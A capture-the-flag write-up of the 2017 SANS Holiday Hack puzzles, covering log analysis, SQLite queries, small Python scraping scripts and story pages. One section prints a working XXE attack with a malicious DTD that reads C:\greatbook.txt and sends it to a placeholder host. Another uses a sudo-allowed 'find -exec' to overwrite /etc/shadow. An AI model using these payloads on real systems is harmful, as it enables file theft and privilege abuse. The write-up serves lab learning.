      ''   /o\   ''     '.|  |.'      \/ //><\\ \/
           ':'        . ~~\  /~~ .       _//\\_
jgs                   _\_._\/_._/_      \_\  /_/
                       / ' /\ ' \                   \o/
       o              ' __/  \__ '              _o/.:|:.\o_
  o    :    o         ' .'|  |'.                  .\:|:/.
    '.\'/.'                 .                 -=>>::>o<::<<=-
    :->@<-:                 :                   _ '/:|:\' _
    .'/.\'.           '.___/*\___.'              o\':|:'/o
  o    :    o           \* \ / */                   /o\
       o                 >--X--<
                        /*_/ \_*\
                      .'   \*/   '.
                            :
                            '
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.

Alright, it seems we just have to analyze and find the least popular browser in a log file:

elf@7283fcc58ff6:~$ ls -lh
total 29M
-rw-r--r-- 1 root root  24M Dec  4 17:11 access.log
-rwxr-xr-x 1 root root 5.0M Dec 11 17:31 runtoanswer
elf@7283fcc58ff6:~$ head access.log
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 404 5 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.89.151 - - [19/Nov/2017:07:13:03 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.66.201 - - [19/Nov/2017:07:22:12 -0500] "GET / HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.45.77 - - [19/Nov/2017:07:43:08 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.201.12 - - [19/Nov/2017:08:21:10 -0500] "GET /manager/html HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
XX.YY.218.124 - - [19/Nov/2017:08:22:09 -0500] "GET /img/common/favicon-128.png HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
XX.YY.68.152 - - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.236.170 - - [19/Nov/2017:08:48:39 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)"
XX.YY.11.135 - - [19/Nov/2017:08:56:32 -0500] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"

We can see that the last column holds the user-agent. We can also observe that the user-agent is just after the fifth double-quote on the line. So, if we use the cut command, with " as a separator, we will get the user-agent by asking for the sixth field:

elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Slack-ImgProxy (+https://api.slack.com/robots)
Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)
Slack-ImgProxy (+https://api.slack.com/robots)
Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Slack-ImgProxy (+https://api.slack.com/robots)
slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
[snip]

Alright, now that we have only the user-agents, we can sort the user-agents, and use uniq to remove duplicates, and count the number of unique user-agents:

elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log  | sort | uniq -c
      2 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
    143 -
      1 Dillo/3.0.5
      3 GarlikCrawler/1.2 (http://garlik.com/, crawler@garlik.com)
     34 Googlebot-Image/1.0
      3 MobileSafari/604.1 CFNetwork/889.9 Darwin/17.2.0
      4 Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
      8 Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
    345 Mozilla/4.0 (compatible;)
      2 Mozilla/5.0
[snip]

Hmm, Dillo/3.0.5 seems to be the least popular web-browser, with only one entry. However, there may be other user-agents with only one hit in the log file. Let's sort our counted output:

elf@7283fcc58ff6:~$ cut -d'"' -f 6 access.log  | sort | uniq -c | sort -gr
  27285 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
   8501 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
   6221 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
   6183 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
   3163 Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
   2733 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/62.0.3202.94 Chrome/62.0.3202.94 Safari/537.36
   2427 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
   2099 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
   2006 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
   2002 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
[snip]
      2 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36
      1 slack/2.47.1.7358 (samsung SM-G955F; Android 7.0)
      1 slack/2.47.1.7358 (samsung SM-G950U; Android 7.0)
      1 slack/2.47.1.7358 (samsung SM-G935T; Android 7.0)
      1 slack/2.47.1.7358 (samsung SM-G935L; Android 7.0)
      1 slack/2.47.1.7358 (samsung SM-G930F; Android 7.0)
      1 slack/2.47.1.7358 (samsung SM-G920P; Android 7.0)
      1 slack/2.47.1.7358 (motorola XT1635-02; Android 7.1.1)
      1 slack/2.47.1.7358 (motorola Moto G (5) Plus; Android 7.0)
      1 slack/2.47.1.7358 (Xiaomi Redmi Note 4; Android 7.0)
      1 slack/2.46.0.7100 (lenovo Lenovo K8 Note; Android 7.1.1)
      1 slack/2.47.1.7358 (OnePlus ONEPLUS A3000; Android 7.1.1)
      1 slack/2.47.1.7358 (OnePlus ONE A2003; Android 8.0.0)
      1 slack/2.47.1.7358 (LYF LS-5504; Android 5.1.1)
      1 slack/2.47.1.7358 (Intex Cloud Q11 4G; Android 6.0)
      1 slack/2.47.1.7358 (Huawei Nexus 6P; Android 8.0.0)
      1 slack/2.47.1.7358 (HUAWEI AGS-W09; Android 7.0)
      1 slack/2.47.1.7358 (Google Pixel XL; Android 8.0.0)
      1 slack/2.47.0.7352 (samsung SM-N950U; Android 7.1.1)
      1 slack/2.47.0.7352 (samsung SAMSUNG-SM-N910A; Android 6.0.1)
      1 slack/2.47.0.7352 (samsung SAMSUNG-SM-G870A; Android 6.0.1)
      1 slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)
      1 slack/2.47.0.7352 (Sony F8331; Android 7.1.1)
      1 slack/2.47.0.7352 (OnePlus ONEPLUS A3003; Android 7.1.1)
      1 slack/2.47.0.7352 (OnePlus A0001; Android 7.1.2)
      1 slack/2.47.0.7352 (LGE Nexus 5; Android 6.0.1)
      1 slack/2.47.0.7352 (Google Pixel; Android 8.0.0)
      1 slack/2.46.0.7100 (lenovo Lenovo K8 Note; Android 7.1.1)
      1 slack/2.46.0.7100 (Wingtech 2014818; Android 7.1.2)
      1 slack/2.46.0.7100 (OnePlus ONE E1003; Android 6.0.1)
      1 slack/2.46.0.7100 (OnePlus ONE A2003; Android 6.0.1)
      1 masscan/1.0 (https://github.com/robertdavidgraham/masscan)
      1 masscan/1.0
      1 curl/7.35.0
      1 Slack/370354 CFNetwork/893.14 Darwin/17.3.0
      1 Slack/370354 CFNetwork/893.10 Darwin/17.3.0
      1 Slack/370342 CFNetwork/808.3 Darwin/16.3.0
      1 Slack/370136 CFNetwork/811.5.4 Darwin/16.7.0
      1 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
      1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; Touch; MASEJS)
      1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0; MASMJS)
      1 Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)
      1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
      1 Mozilla/5.0 (X11; OpenBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
      1 Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
      1 Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
      1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko)
      1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
      1 Dillo/3.0.5

Well, even though some other user-agents have only one hit, they seem to be different versions of the same browser. Dillo/3.0.5 seems to be our winner:

elf@7283fcc58ff6:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo/3.0.5
That is the least common browser in the web log! Congratulations!

Redirecting the snowball

Now that we found the least popular browser, we get a new object: the Bumper, which can redirect the snowball.

Now here's the layout I used to redirect the snowball. Incidently, I learned that the Jam slows the snowball down, because it's sticky:

This level had the fifth page to The Great Book (sha256: aed664454f956ed4f80c54540c4980ae28912c3ff816733a6fb84b366bd32c67):

The Abominable Snow Monster

When the Elves and reindeer refugees first arrived at the North Pole, they found a barren but workable landscape. The desolate peace of the cold North was a welcomed change from the bitter battles with the Munchkins back in Oz. Dressed up like Eskimos for their first several months, all elves from one to ninety-two worked without interruption building homes for themselves, stalls for the reindeer, toy production lines, and finally a splendid castle for Santa.

But then, it started. Some of their food stocks mysteriously disappeared. Initially, the Elves hypothesized that Munchkins Moles were pilfering their provisions, so they embarked on a detailed investigation. Sadly, the taskforce found very little evidence, except for MASSIVE footprints in the snow near the food storage bins.

And then, it got worse. Elves started disappearing. One at a time, over the space of a couple of weeks, a half dozen elves simply vanished, their last known location surrounded by more gigantic footprints.

The taskforce bravely followed the footprints back to an enormous cave, where they found a gigantic furry beast with horrible fangs. The so-called "Abominable Snow Monster" had enslaved the kidnapped elves, forcing them to make gigantic snowballs he could throw as weapons. After mounting a daring rescue operation, the Elves vowed to steer clear of the entire region inhabited by the Abominable.

In later years, through the tireless efforts of social worker and arctic prospector Yukon Cornelius, a miracle occurred! The Abominable actually became a jolly, happy soul, who could laugh and play. The Elves welcomed the newly friendly beast and started calling him "Bumble" as he earned a job putting Christmas tree toppers into place without a stepladder.

Very recently, though, the Bumble's behaviour has become quite erratic. Several times every day, his eyes seem to go blank as he stares off into the distance. Rumor among the elves is that there must have been some magic in something the Bumble ate. As of this writing, the Bumble is under careful analysis by Yukon Cornelius and the North Pole's best veterinarians. A diagnosis remains elusive.

After solving this challenge, we have a little chat with Sam the Snowman:

Bumble: Arrrrrrrrgh! Grrrrrrrr! ROOOOOOOAR!

Sam the Snowman: You've done it! You found out who was throwing the giant snowballs! It was the Abominable Snow Monster. We should have known. Thank you for your great work!

But, you know, he doesn't seem quite himself. Look into his eyes. It almost looks like he has been hypnotized. Something's not right with him.

In fact, he seems to be under someone else's control. We've got to find out who is pulling his strings, or else the real villain will remain on the loose and will likely strike again.

It means, buckle your seatbelt, dear player, because the North Pole is going bye-bye.

North Pole Christmas Town infrastructure: North Pole Police Department web site

In the fourth page, we learned the existence of Munchkin moles, that try to pass for Elves in order to spy on them. Let's try to learn more about these Munchkin moles!

If we take a look back at the documents we found on the SMB server, there is one called "BOLO - Munchkin Mole Report.docx". This is the content:

BOLO: Munchkin Mole Advisory

Please be advised that the long-rumored munchkin moles are now believed to be real. After a detailed and thorough investigation, North Pole Authorities have identified two munchkins impersonating elves in Santa's workshop.

When confronted, both munchkins were able to evade elf authorities after throwing rocks and engaging in aggravated hair pulling. The pair mysteriously disappeared after speaking an unknown word sounding like "puuurzgexgull."

Munchkin Descriptions

Name: Boq Questrian

Height: Approximately 4 feet

Weight: Unknown

Appearance: Reddish skin tone, blue eyes. A single curl of hair dominates an otherwise unremarkable hairstyle.

Warning: Boq is uncannily accurate at short-distance rock throwing.

Name: Bini Aru

Height: Approximately 4 feet

Weight: Unknown

Appearance: Pale skin, grey eyes. Unruly black hair.

Warning: Bini is unrelenting in hair pulling.

If you see these munchkin moles, do not attempt to detain or apprehend them. Contact the North Pole Police Department for assistance.

For more information visit https://nppd.northpolechristmastown.com.

Merry Christmas!

So, two Munchkin moles were identified, Boq Questrian and Bini Aru. But there may be more. Let's try and use the North Pole Police Department's website to identify potential moles.

The North Pole Police Department's website has a section infractions, where you can find what kind of infractions were commited by children. The infractions go from playing ball in the house to trying to ruin Christmas.

After too many infractions, children are put on the naughty list. But how many infractions does it take?

On the SMB server, we also had a file called "Naughty and Nice List.csv", which gives us, line by line, the name of a child and whether their naughty or nice:

$ head Naughty\ and\ Nice\ List.csv
Abdullah Lindsey,Nice
Abigail Chavez,Nice
Aditya Perera,Naughty
Adrian Kemp,Nice
Adrian Lo,Nice
Adriana Sutherland,Nice
Agnes Adam,Nice
Ahmed Hernandez,Nice
Al Molina,Nice
Alabaster Snowball,Nice

Shame on you, Aditya Perera! Anyway, we can query the North Pole Police Department website to query information on the children, and get results in JSON for easy parsing. So, here's a quick Python script which queries the NPPD website, and get the number of infractions for every child:

#!/usr/bin/env python3

import sys
import requests

def main(naughty_nice_file):
    url = 'https://nppd.northpolechristmastown.com/infractions?query={}&json=1'
    max_infraction_nice = -1
    min_infraction_naughty = sys.maxsize

    with open(naughty_nice_file, 'r') as f:
        # We read every line...
        for line in f.readlines():
            # ...and get the name of the child
            name = line.split(',')[0]
            r = requests.get(url.format(name))
            # We retrieve the number of infraction for the child
            number_of_infractions = r.json()['count']
            # If the child is nice, we see if the number of infraction is
            # greater than the existing max
            if 'Nice' in line:
                if number_of_infractions > max_infraction_nice:
                    max_infraction_nice = number_of_infractions
            # If the child is naughty, we see if the number of infraction is
            # smaller than the existing min
            if 'Naughty' in line:
                if number_of_infractions < min_infraction_naughty:
                    min_infraction_naughty = number_of_infractions

    print('Maximum number of infractions for nice child: {}'.format(max_infraction_nice))
    print('Minimum number of infractions for naughty child: {}'.format(min_infraction_naughty))

if __name__ == '__main__':
    if len(sys.argv) == 2:
        main(sys.argv[1])
    else:
        print('usage: {} <naughty_nice_file>'.format(sys.argv[0]))

Now, let's run the script:

$ ./number_of_infractions.py "Naughty and Nice List.csv"
Maximum number of infractions for nice child: 3
Minimum number of infractions for naughty child: 4

We've found that every nice child has at most three infractions, and every naughty child has at least four infractions. So it's safe to say that it takes four infractions to be put on the naughty list.

Technically, we could have only queried the number of infractions for naughty children, which wouls have given us four. Then we would only had to find a nice child with three infractions, such as Al Molina. This supposes that max_infraction_nice < min_infraction_naughty, but this seems to be a valid hypothesis.

Now, according to the report, the Munchkin moles were heavily into hair-pulling and rock-throwing. Let's query the NPPD website for children that commited both these infractions:

#!/usr/bin/env python3

import requests

def main():
    hair_pulling_url = 'https://nppd.northpolechristmastown.com/infractions?query=Aggravated+pulling+of+hair&json=1'
    rock_throwing_url = 'https://nppd.northpolechristmastown.com/infractions?query=Throwing+rocks+%28at+people%29&json=1'

    # We use sets to avoid duplicate names
    hair_pullers = set()
    rock_throwers = set()

    # We first get hair-pullers
    r = requests.get(hair_pulling_url)
    for result in r.json()['infractions']:
        hair_pullers.add(result['name'])

    # Then we get rock throwers
    r = requests.get(rock_throwing_url)
    for result in r.json()['infractions']:
        rock_throwers.add(result['name'])

    # Finally, we get the intersection, to find children who have done both
    print('\n'.join(hair_pullers.intersection(rock_throwers)))

if __name__ == '__main__':
    main()

$ ./find_moles.py
Nina Fitzgerald
Kirsty Evans
Beverly Khalil
Sheri Lewis

We now have the name of four more probable Munchkin moles, which gives us a total of six Munchkin moles.

Sixth page of The Great Book

North Pole and Beyond: I don't think we're in Kansas anymore

Cranberry Pi

                       *
                      .~'
                     O'~..
                    ~'O'~..
                   ~'O'~..~'
                  O'~..~'O'~.
                 .~'O'~..~'O'~
                ..~'O'~..~'O'~.
               .~'O'~..~'O'~..~'
              O'~..~'O'~..~'O'~..
             ~'O'~..~'O'~..~'O'~..
            ~'O'~..~'O'~..~'O'~..~'
           O'~..~'O'~..~'O'~..~'O'~.
          .~'O'~..~'O'~..~'O'~..~'O'~
         ..~'O'~..~'O'~..~'O'~..~'O'~.
        .~'O'~..~'O'~..~'O'~..~'O'~..~'
       O'~..~'O'~..~'O'~..~'O'~..~'O'~..
      ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
     ~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
    O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
   .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
  ..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
 .~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.

After finding the least popular browser, we must now find the most popular song in the database:

elf@e3f1a585649d:~$ ls -lh
total 21M
-rw-r--r-- 1 root root  16M Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root 5.0M Dec  7 15:10 runtoanswer

A database in a single flat file indicates that it's most likely a SQLite database:

elf@e3f1a585649d:~$ sqlite3 ./christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
likes  songs

We have two tables, one named likes, one named songs. Let's see their structure:

sqlite> .schema
CREATE TABLE songs(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  title TEXT,
  artist TEXT,
  year TEXT,
  notes TEXT
);
CREATE TABLE likes(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  like INTEGER,
  datetime INTEGER,
  songid INTEGER,
  FOREIGN KEY(songid) REFERENCES songs(id)
);

The songs table is pretty straightforward. The likes table holds the number of likes for every song, using the song's id. If the column like is 1, then the song was liked.

We can query the database to get the number of likes for every song id. The correct query was found after reading this tutorial on the COUNT function. This query will get the song id, their number of likes, and will sort them from least to most liked.

sqlite> SELECT songid, count(*) from likes WHERE like=1 GROUP BY songid ORDER BY count(*);
[...]
33|1698
199|1702
98|1706
90|1715
134|1719
265|1720
245|1756
392|8996

Alright, the song with the id 392 is the most liked song. Now, we could query the songs manually... Or! We could use an inner junction, just for the fun:

sqlite> SELECT title, count(*) from likes INNER JOIN songs on songs.id=likes.songid WHERE like=1 GROUP BY songid ORDER BY count(*);
[...]
I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)|1689
Why Couldn't It Be Christmas Every Day?|1691
A Baby Changes Everything|1693
I'll Be Home|1695
Old Time Christmas|1696
Cold December Night|1697
Blue Holiday|1698
Home for Christmas|1702
Christmas Memories|1706
Christmas Is Now Drawing Near at Hand|1715
Coventry Carol|1719
The Little Boy that Santa Claus Forgot|1720
Joy to the World|1756
Stairway to Heaven|8996

The most-liked song this Christmas seems to be Stairway to Heaven. Although I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me) seems to be doing pretty well!

elf@ef4955c61cfe:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!

Redirecting the snowball

Having the found the most popular song for this Christmas, we're given a new object: the Portal, which can create a duplicate of our snowball in a second place.

Here's the layout:

North Pole Christmas Town infrastructure: Elf as a Service platform

The Elf as a Service platform is a web application where you can order new elves. To do so, you only have to upload an XML files, containing the details of th elves you wish to order:

POST /Home/DisplayXml HTTP/1.1
Host: eaas.northpolechristmastown.com
Content-Length: 1946
Origin: http://eaas.northpolechristmastown.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryflybX2ZBWLwspXMu

------WebKitFormBoundaryflybX2ZBWLwspXMu
Content-Disposition: form-data; name="file"; filename="Elfdata.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?><Elf><Elf><ElfID>1</ElfID><ElfName>Elf On a Shelf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>1.png</Picture><Address>On a Shelf, Obviously</Address></Elf><Elf><ElfID>2</ElfID><ElfName>Buddy the Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>2.png</Picture><Address>New York City</Address></Elf><Elf><ElfID>3</ElfID><ElfName>Legolas</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>3.png</Picture><Address>Middle Earth</Address></Elf><Elf><ElfID>4</ElfID><ElfName>Marcus Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>4.png</Picture><Address>Canada</Address></Elf><Elf><ElfID>5</ElfID><ElfName>Alf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>5.png</Picture><Address>Melmac</Address></Elf><Elf><ElfID>6</ElfID><ElfName>Dobby the House Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>6.png</Picture><Address>London</Address></Elf><Elf><ElfID>7</ElfID><ElfName>Malekith</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>7.png</Picture><Address>Asgard</Address></Elf><Elf><ElfID>8</ElfID><ElfName>Keebler Elf</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>8.png</Picture><Address>Tree</Address></Elf><Elf><ElfID>9</ElfID><ElfName>Jangle Bells</ElfName><Contact>8675309</Contact><DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase><Picture>9.png</Picture><Address>North Pole</Address></Elf></Elf>

------WebKitFormBoundaryflybX2ZBWLwspXMu--

Hmm, that's interesting. Uploading XML files can often lead to eXternal XML Entities (XXE) attacks. If the XML parser on the server side does not filter XML entities, we can make the server perform several actions, such as outputing the content of a local file, etc. More details are given in this SANS blog post.

Since we want to recover the content of C:\greatbook.txt, let's implement the attack, as given in the above tutorial. First, we'll host a malicious .dtd file on our public facing server:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://X.X.X.X/greatbook?%stolendata;'>">

Then, we'll send our malicious XML file to the EaaS application:

POST /Home/DisplayXml HTTP/1.1
Host: eaas.northpolechristmastown.com
Content-Length: 731
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryflybX2ZBWLwspXMu

------WebKitFormBoundaryflybX2ZBWLwspXMu
Content-Disposition: form-data; name="file"; filename="Elfdata.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
     <!ELEMENT demo ANY >
     <!ENTITY % extentity SYSTEM "http://X.X.X.X/evil.dtd">
     %extentity;
     %inception;
     %sendit;
      ]
>
<Elf>
    <Elf>
        <ElfID>1</ElfID>
        <ElfName>Elf On a Shelf</ElfName>
        <Contact>8675309</Contact>
        <DateOfPurchase>11/29/2017 12:00:00 AM</DateOfPurchase>
        <Picture>1.png</Picture>
        <Address>On a shelf, obviously</Address>
   </Elf>
</Elf>

------WebKitFormBoundaryflybX2ZBWLwspXMu--

We now trigger the XML parser by visiting the /Home/DisplayXml page, which will trigger the downloading of our evil .dtd file:

$ tail -f access.log | grep -E 'greatbook|evil.dtd'
35.185.118.225 - - [29/Dec/2017:00:22:54 +0100] "GET /evil.dtd HTTP/1.1" 200 200 "-" "-"
35.185.118.225 - - [29/Dec/2017:00:22:54 +0100] "GET /greatbook?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1" 404 169 "-" "-"

Our payload work! We now have the content of C:\greatbook.txt, which is the URL http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf. We can now download the sixth page of The Great Book (sha256: 92dff9b155da22001dc72340791bde703fbf83bc0369e95aa9baea4ed5c36a84):

The Dreaded Inter-Dimensional Tornadoes

Throughout our recorded history, Oz has benefitted from quite favorable weather, with frequent sunny days and a moderatly warm climate. Indeed, all Munchkins enjoy essentially year-round springtime weather, keepking flowers in bloom and making spirits bright.

However, one type of weather phenomenon interrupts the otherwise beautiful climate of Oz - the dreaded Inter-Dimensional Tornadoes - when the weather outside is frightful. While quite rare, these ferocious storms appear suddenly and without a warning, striking Oz every year or two. These calamitous cyclones vary in intensity, but even the weakest have caused significant damage, lifting houses off their foundations and shredding everything in their deadly path, especially paper products.

Inter-Dimensional Tornadoes get their unusual name because their intense power has been known to rip holes into the very fabric of space and time, allowing a single tornado to strike multiple different places in disparate time eras simultaneously, interlinking each time and location touched by the storm into a swirling inter-dimensional space-time vortex. Although the specific physics of such storms remains elusive to our best scientists, one thing is consistently observed by researchers and historians: When an Inter-Dimensional Tornado strikes, it not only scatters whatever it has vacuumed up throughout many lands, it sometimes also drops artifacts from the past or even the future in its wake. Such storms have brought antique watches, clothing, and curious gadgetry, lifting them from distant times and far away places and depositing them in Oz.

Seventh page of The Great Book

North Pole and Beyond: Oh wait! Maybe we are...

Cranberry Pi

              \ /
            -->*<--
              /o\
             /_\_\
            /_/_0_\
           /_o_\_\_\
          /_/_/_/_/o\
         /@\_\_\@\_\_\
        /_/_/O/_/_/_/_\
       /_\_\_\_\_\o\_\_\
      /_/0/_/_/_0_/_/@/_\
     /_\_\_\_\_\_\_\_\_\_\
    /_/o/_/_/@/_/_/o/_/0/_\
   jgs       [___]
My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.
Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_box" to complete this challenge.
Hint: What commands can you run with sudo?

We need to restore the content of /etc/shadow.bak to /etc/shadow.

The hint is a pretty big one. If you remember last year's Christmas Challenge, you remember that we can use sudo -l to see what kind of command we can execute:

elf@760499dcc4c9:~$ sudo -l
Matching Defaults entries for elf on 760499dcc4c9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on 760499dcc4c9:
    (elf : shadow) NOPASSWD: /usr/bin/find

We can execute find as elf:shadow (that is, as the user elf, member of the group shadow, I didn't know this syntax). Let's take a look at the permissions to our shadow files:

elf@760499dcc4c9:~$ ls -lh /etc/shadow*
-rw-rw---- 1 root shadow 677 Dec 23 23:59 /etc/shadow
-rw------- 1 root root   652 Nov 14 13:48 /etc/shadow-
-rw-r--r-- 1 root root   677 Dec 15 19:59 /etc/shadow.bak

We can see that the shadow group has write access to /etc/shadow. So, we need a way, by running find, to copy the content from /etc/shadow.bak to /etc/shadow. Luckily, find has the -exec parameter, which can be used to execute command on the found files:

elf@760499dcc4c9:~$ sudo -g shadow /usr/bin/find /etc -name shadow.bak -exec cp {} /etc/shadow \; 2> /dev/null
elf@760499dcc4c9:~$ inspect_da_box
                     ___
                    / __'.     .-"""-.
              .-""-| |  '.'.  / .---. \
             / .--. \ \___\ \/ /____| |
            / /    \ `-.-;-(`_)_____.-'._
           ; ;      `.-" "-:_,(o:==..`-. '.         .-"-,
           | |      /       \ /      `\ `. \       / .-. \
           \ \     |         Y    __...\  \ \     / /   \/
     /\     | |    | .--""--.| .-'      \  '.`---' /
     \ \   / /     |`        \'   _...--.;   '---'`
      \ '-' / jgs  /_..---.._ \ .'\\_     `.
       `--'`      .'    (_)  `'/   (_)     /
                  `._       _.'|         .'
                     ```````    '-...--'`
/etc/shadow has been successfully restored!

Redirecting the snowball

No new object for this one!

Here's the layout:

North Pole Christmas Town infrastructure: Elf-Machine Interface server

